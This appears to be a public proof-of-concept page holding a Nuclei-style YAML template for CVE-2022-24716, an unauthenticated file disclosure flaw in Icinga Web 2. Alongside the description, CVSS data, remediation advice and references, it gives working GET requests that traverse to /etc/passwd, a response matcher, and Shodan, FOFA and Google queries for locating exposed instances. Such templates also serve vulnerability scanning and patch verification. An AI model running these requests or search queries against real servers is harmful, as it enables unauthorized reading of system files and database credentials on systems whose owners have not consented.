CVE-2022-24716: Icinga Web 2 - Arbitrary File Disclosure

2025-08-01 Icinga Web 2 PoC Public

Description

Icinga Web 2 is an open source monitoring web interface, framework and command-line interface. Unauthenticated users can leak the contents of files of the local system accessible to the web-server user, including `icingaweb2` configuration files with database credentials.

PoC

id: CVE-2022-24716

info:
  name: Icinga Web 2 - Arbitrary File Disclosure
  author: DhiyaneshDK
  severity: high
  description: |
    Icinga Web 2 is an open source monitoring web interface, framework and command-line interface. Unauthenticated users can leak the contents of files of the local system accessible to the web-server user, including `icingaweb2` configuration files with database credentials.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive information, potentially exposing credentials, configuration files, and other sensitive data.
  remediation: This issue has been resolved in versions 2.9.6 and 2.10 of Icinga Web 2. Database credentials should be rotated.
  reference:
    - https://github.com/JacobEbben/CVE-2022-24716/blob/main/exploit.py
    - http://packetstormsecurity.com/files/171774/Icinga-Web-2.10-Arbitrary-File-Disclosure.html
    - https://github.com/Icinga/icingaweb2/commit/9931ed799650f5b8d5e1dc58ea3415a4cdc5773d
    - https://github.com/Icinga/icingaweb2/security/advisories/GHSA-5p3f-rh28-8frw
    - https://security.gentoo.org/glsa/202208-05
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-24716
    cwe-id: CWE-22
    epss-score: 0.89378
    epss-percentile: 0.99782
    cpe: cpe:2.3:a:icinga:icinga_web_2:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: icinga
    product: icinga_web_2
    shodan-query:
      - title:"Icinga"
      - http.title:"icinga"
      - http.title:"icinga web 2 login"
    fofa-query:
      - title="icinga web 2 login"
      - title="icinga"
    google-query:
      - intitle:"icinga"
      - intitle:"icinga web 2 login"
  tags: cve,cve2022,packetstorm,icinga,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/lib/icinga/icinga-php-thirdparty/etc/passwd"
      - "{{BaseURL}}/icinga2/lib/icinga/icinga-php-thirdparty/etc/passwd"
      - "{{BaseURL}}/icinga-web/lib/icinga/icinga-php-thirdparty/etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/plain

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210087d5bc6cbd6a64e47f7e718f18c1dc070fe7b04d95e34abfd245e363167782ae0220355b3ade273c955f910cc9588fee62627a42d0cbe9d18e314bc8d3d762b59ed8:922c64590222798bb761d5b6d8e72950

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